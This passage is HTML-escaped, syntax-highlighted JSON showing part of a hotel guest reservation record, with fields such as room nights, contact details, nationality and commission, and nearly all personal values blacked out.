&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ID&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;███████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;UIT_OTHER&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ID&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██████████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;UIT_TRAVEL_AGENT_PNR&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              ]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;NOROOMS&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;1&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ROOMINGLIST_STATISTICS&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PERSONNIGHTS&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;2&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;NOADULDS&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;1&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;NOCHILDSFREE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ROMMINGLISTISCOMPLETE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Y&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;NOADULDSFREE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ROOMNIGHTS&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;2&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;NOCHILDS&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;SUB_NR&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;1&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;EMAIL2&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_TYPE_ARRIVAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_NAME_ARRIVAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;EMAIL1&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;███@████████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ARR_TIME&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PROMOCODE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;TEC_COMMENT&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██████████████████████████████████████████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;CHANNEL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PERS_TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;█&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;SALES_DATE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██-█-█&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;RATE_SEGMENT&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;SOURCE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;█&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_STREET_ARRIVAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PHONE2&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PHONE1&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;49 ███████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;GUARANTEE_TYPE_DESC&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_TIME_ARRIVAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;COUNTRY_CODE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;DE&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;GUARANTEE_TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DOCUMENT_NUMBER&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ARR&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██-█-█&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;RT&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;1&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;INVOICE_EMAIL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PCAT&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DOCUMENT_SUBNR2&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DOCUMENT_EXPEDITIONDATE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;GUEST_TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;1&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;SEX&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;█&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;OBJID&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;█████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;COMMENT&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;███████████████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_PARAMETERS_DEPARTURE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;CENTRAL_RESERVATION_ID&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;MOBIL2&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;T_CALC_COMMISSION&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;1&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DISABLE_DEPOSIT&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;N&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;MOBIL1&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;NOPAX&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;1&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PERS_ADDRESS&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;OUTPUTCOUNTER&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;CANCELLATION_POLICY&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;J&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;GDSNO&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;█████████████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;MATCHCODE_SM&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PO_BOX&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ALLOTMENT_NO&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;LAST_MOD_RU&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██-█-█&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;STREET&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██████ ██&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;NAME2&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;A_USERFIELD_LIST&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;RES_HOTEL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;█&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;COMMISSION&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;TOTAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PC&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;SID&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;LAST_MOD_BY&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;NN2&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;CITY&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;INSURANCETYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_STREET_DEPARTURE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ISO_LANG&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;de&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;CREATION_TIME&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;█:█:█&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;IDENTIFICATION_NO&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_COUNTRY_ARRIVAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;GUEST_OBJID&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_AMOUNTADULTS_DEPARTURE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DOCUMENT_SUBNR&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_TIME_DEPARTURE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DISCOUNT_GROUP&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;NATION&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;DE&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DOCUMENT_EXPEDITIONCOUNTRY&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;APERS_TYPE_LIST&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PERS_TYPE&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;NO&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;1&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;█&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;COUNTRY&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;DE&amp;#34;&lt;/span&gt;,
